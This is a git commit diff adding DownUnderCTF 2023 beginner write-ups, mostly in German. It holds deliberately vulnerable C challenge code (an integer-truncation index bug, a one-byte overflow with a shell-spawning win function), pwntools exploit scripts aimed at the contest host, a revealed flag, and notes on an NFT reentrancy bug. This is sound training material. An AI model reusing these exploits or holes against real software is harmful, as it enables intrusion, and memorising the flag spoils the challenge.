some things
This commit is contained in:
BIN
DownUnderCTF 2023/beginner/blinkybill/blinkybill.wav
Normal file
BIN
DownUnderCTF 2023/beginner/blinkybill/blinkybill.wav
Normal file
Binary file not shown.
88
DownUnderCTF 2023/beginner/downunderflow/README.md
Normal file
88
DownUnderCTF 2023/beginner/downunderflow/README.md
Normal file
@@ -0,0 +1,88 @@
|
|||||||
|
# downunderflow
|
||||||
|
```
|
||||||
|
It's important to see things from different perspectives.
|
||||||
|
|
||||||
|
Author: joseph
|
||||||
|
nc 2023.ductf.dev 30025
|
||||||
|
```
|
||||||
|
|
||||||
|
# Source
|
||||||
|
|
||||||
|
## downunderflow.c
|
||||||
|
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#define USERNAME_LEN 6
|
||||||
|
#define NUM_USERS 8
|
||||||
|
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" };
|
||||||
|
|
||||||
|
void init() {
|
||||||
|
setvbuf(stdout, 0, 2, 0);
|
||||||
|
setvbuf(stdin, 0, 2, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int read_int_lower_than(int bound) {
|
||||||
|
int x;
|
||||||
|
scanf("%d", &x);
|
||||||
|
if(x >= bound) {
|
||||||
|
puts("Invalid input!");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
init();
|
||||||
|
|
||||||
|
printf("Select user to log in as: ");
|
||||||
|
unsigned short idx = read_int_lower_than(NUM_USERS - 1);
|
||||||
|
printf("Logging in as %s\n", logins[idx]);
|
||||||
|
if(strncmp(logins[idx], "admin", 5) == 0) {
|
||||||
|
puts("Welcome admin.");
|
||||||
|
system("/bin/sh");
|
||||||
|
} else {
|
||||||
|
system("/bin/date");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# Lösung
|
||||||
|
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
import os
|
||||||
|
|
||||||
|
gs = '''
|
||||||
|
unset env LINES
|
||||||
|
unset env COLUMNS
|
||||||
|
set follow-fork-mode child
|
||||||
|
br *read_int_lower_than+57
|
||||||
|
br *main + 146
|
||||||
|
br *main + 49
|
||||||
|
c
|
||||||
|
x/d $rbp-0x14
|
||||||
|
'''
|
||||||
|
|
||||||
|
elf = ELF(os.getcwd()+"/downunderflow")
|
||||||
|
|
||||||
|
def start():
|
||||||
|
if args.GDB:
|
||||||
|
return gdb.debug(elf.path, gs)
|
||||||
|
if args.REMOTE:
|
||||||
|
return remote("2023.ductf.dev", 30025)
|
||||||
|
else:
|
||||||
|
return process(os.getcwd()+"/downunderflow")
|
||||||
|
|
||||||
|
io = start()
|
||||||
|
|
||||||
|
print(io.recvuntil("Select user to log in as: "))
|
||||||
|
io.sendline(str(0x1234567890120007).encode())
|
||||||
|
|
||||||
|
|
||||||
|
io.interactive()
|
||||||
|
```
|
||||||
|
|
||||||
|
=> `DUCTF{-65529_==_7_(mod_65536)}`
|
||||||
BIN
DownUnderCTF 2023/beginner/downunderflow/downunderflow
Executable file
BIN
DownUnderCTF 2023/beginner/downunderflow/downunderflow
Executable file
Binary file not shown.
36
DownUnderCTF 2023/beginner/downunderflow/downunderflow.c
Normal file
36
DownUnderCTF 2023/beginner/downunderflow/downunderflow.c
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#define USERNAME_LEN 6
|
||||||
|
#define NUM_USERS 8
|
||||||
|
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" };
|
||||||
|
|
||||||
|
void init() {
|
||||||
|
setvbuf(stdout, 0, 2, 0);
|
||||||
|
setvbuf(stdin, 0, 2, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int read_int_lower_than(int bound) {
|
||||||
|
int x;
|
||||||
|
scanf("%d", &x);
|
||||||
|
if(x >= bound) {
|
||||||
|
puts("Invalid input!");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
init();
|
||||||
|
|
||||||
|
printf("Select user to log in as: ");
|
||||||
|
unsigned short idx = read_int_lower_than(NUM_USERS - 1);
|
||||||
|
printf("Logging in as %s\n", logins[idx]);
|
||||||
|
if(strncmp(logins[idx], "admin", 5) == 0) {
|
||||||
|
puts("Welcome admin.");
|
||||||
|
system("/bin/sh");
|
||||||
|
} else {
|
||||||
|
system("/bin/date");
|
||||||
|
}
|
||||||
|
}
|
||||||
31
DownUnderCTF 2023/beginner/downunderflow/downunderflow.py
Normal file
31
DownUnderCTF 2023/beginner/downunderflow/downunderflow.py
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
from pwn import *
|
||||||
|
import os
|
||||||
|
|
||||||
|
gs = '''
|
||||||
|
unset env LINES
|
||||||
|
unset env COLUMNS
|
||||||
|
set follow-fork-mode child
|
||||||
|
br *read_int_lower_than+57
|
||||||
|
br *main + 146
|
||||||
|
br *main + 49
|
||||||
|
c
|
||||||
|
x/d $rbp-0x14
|
||||||
|
'''
|
||||||
|
|
||||||
|
elf = ELF(os.getcwd()+"/downunderflow")
|
||||||
|
|
||||||
|
def start():
|
||||||
|
if args.GDB:
|
||||||
|
return gdb.debug(elf.path, gs)
|
||||||
|
if args.REMOTE:
|
||||||
|
return remote("2023.ductf.dev", 30025)
|
||||||
|
else:
|
||||||
|
return process(os.getcwd()+"/downunderflow")
|
||||||
|
|
||||||
|
io = start()
|
||||||
|
|
||||||
|
print(io.recvuntil("Select user to log in as: "))
|
||||||
|
io.sendline(str(0x1234567890120007).encode())
|
||||||
|
|
||||||
|
|
||||||
|
io.interactive()
|
||||||
45
DownUnderCTF 2023/beginner/one byte/README.md
Normal file
45
DownUnderCTF 2023/beginner/one byte/README.md
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
# one byte
|
||||||
|
|
||||||
|
```
|
||||||
|
Here's a one byte buffer overflow!
|
||||||
|
|
||||||
|
Author: joseph
|
||||||
|
nc 2023.ductf.dev 30018
|
||||||
|
```
|
||||||
|
|
||||||
|
# Source
|
||||||
|
|
||||||
|
## onebyte.c
|
||||||
|
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
void init() {
|
||||||
|
setvbuf(stdout, 0, 2, 0);
|
||||||
|
setvbuf(stdin, 0, 2, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void win() {
|
||||||
|
system("/bin/sh");
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
init();
|
||||||
|
|
||||||
|
printf("Free junk: 0x%lx\n", init);
|
||||||
|
printf("Your turn: ");
|
||||||
|
|
||||||
|
char buf[0x10];
|
||||||
|
read(0, buf, 0x11);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# Analyse
|
||||||
|
|
||||||
|
Das Ziel ist recht eindeutig. Wir kontrollieren 1 Byte und sollen einen Sprung nach win() bewirken.
|
||||||
|
|
||||||
|
# Lösung
|
||||||
|
|
||||||
|
#TODO
|
||||||
BIN
DownUnderCTF 2023/beginner/one byte/onebyte
Normal file
BIN
DownUnderCTF 2023/beginner/one byte/onebyte
Normal file
Binary file not shown.
22
DownUnderCTF 2023/beginner/one byte/onebyte.c
Normal file
22
DownUnderCTF 2023/beginner/one byte/onebyte.c
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
void init() {
|
||||||
|
setvbuf(stdout, 0, 2, 0);
|
||||||
|
setvbuf(stdin, 0, 2, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void win() {
|
||||||
|
system("/bin/sh");
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
init();
|
||||||
|
|
||||||
|
printf("Free junk: 0x%lx\n", init);
|
||||||
|
printf("Your turn: ");
|
||||||
|
|
||||||
|
char buf[0x10];
|
||||||
|
read(0, buf, 0x11);
|
||||||
|
}
|
||||||
28
DownUnderCTF 2023/beginner/one byte/onebyte.py
Normal file
28
DownUnderCTF 2023/beginner/one byte/onebyte.py
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
from pwn import *
|
||||||
|
import os
|
||||||
|
|
||||||
|
gs = '''
|
||||||
|
unset env LINES
|
||||||
|
unset env COLUMNS
|
||||||
|
set follow-fork-mode child
|
||||||
|
br *main
|
||||||
|
c
|
||||||
|
'''
|
||||||
|
|
||||||
|
elf = ELF(os.getcwd()+"/downunderflow")
|
||||||
|
|
||||||
|
def start():
|
||||||
|
if args.GDB:
|
||||||
|
return gdb.debug(elf.path, gs)
|
||||||
|
if args.REMOTE:
|
||||||
|
return remote("2023.ductf.dev", 30018)
|
||||||
|
else:
|
||||||
|
return process(os.getcwd()+"/downunderflow")
|
||||||
|
|
||||||
|
io = start()
|
||||||
|
|
||||||
|
print(io.recvuntil("Your turn: "))
|
||||||
|
io.send(cyclic(11))
|
||||||
|
|
||||||
|
|
||||||
|
io.interactive()
|
||||||
@@ -85,9 +85,25 @@ contract AnotherPlease is ERC721Enumerable {
|
|||||||
|
|
||||||
# Analyse
|
# Analyse
|
||||||
|
|
||||||
Ziel ist es alle 30 Tickets zu besitzen. Glücklicherweise kriegen wir die ersten 20 gratis, aber die letzten 10 sind teurer als wir es uns leisten können.
|
Ziel ist es alle 30 Tickets zu besitzen. Glücklicherweise kriegen wir die ersten 10 gratis, aber die letzten 20 sind teurer als wir es uns leisten können.
|
||||||
Die Methode ```claimFreeTicket``` prüft erst, ob noch gratis Tickets vorhanden sind, und sendet dann das Ticket und decrementiert dann den Counter. Und hier liegt die Schwachstelle:
|
Die Methode ```claimFreeTicket``` prüft erst, ob noch gratis Tickets vorhanden sind, und sendet dann das Ticket und decrementiert dann den Counter. Und hier liegt die Schwachstelle:
|
||||||
Der Angreifer Callt schnell hintereinander die ```claimFreeTicket``` Methode. Das Übertragen der Tickets via ```_safeMint``` dauert (vermutlich eine gewisse zeit in der alle 30 If-Abfragen positiv durchlaufen werden). Wenn der Counter heruntergesetzt wird, werden wir schon alle Tickets besitzen.
|
Der Angreifer Callt schnell hintereinander die ```claimFreeTicket``` Methode. Das Übertragen der Tickets via ```_safeMint``` triggert vermutlich einen call auf uns, was uns erlaubt die methode erneut aufzurufen. Wenn der Counter heruntergesetzt wird, werden wir schon alle Tickets besitzen.
|
||||||
|
|
||||||
|
```
|
||||||
|
_safeMint(address to, uint256 tokenId)
|
||||||
|
internal
|
||||||
|
|
||||||
|
Safely mints tokenId and transfers it to to.
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
|
||||||
|
tokenId must not exist.
|
||||||
|
|
||||||
|
If to refers to a smart contract, it must implement IERC721Receiver.onERC721Received, which is called upon a safe transfer.
|
||||||
|
|
||||||
|
Emits a Transfer event.
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
# Lösung
|
# Lösung
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user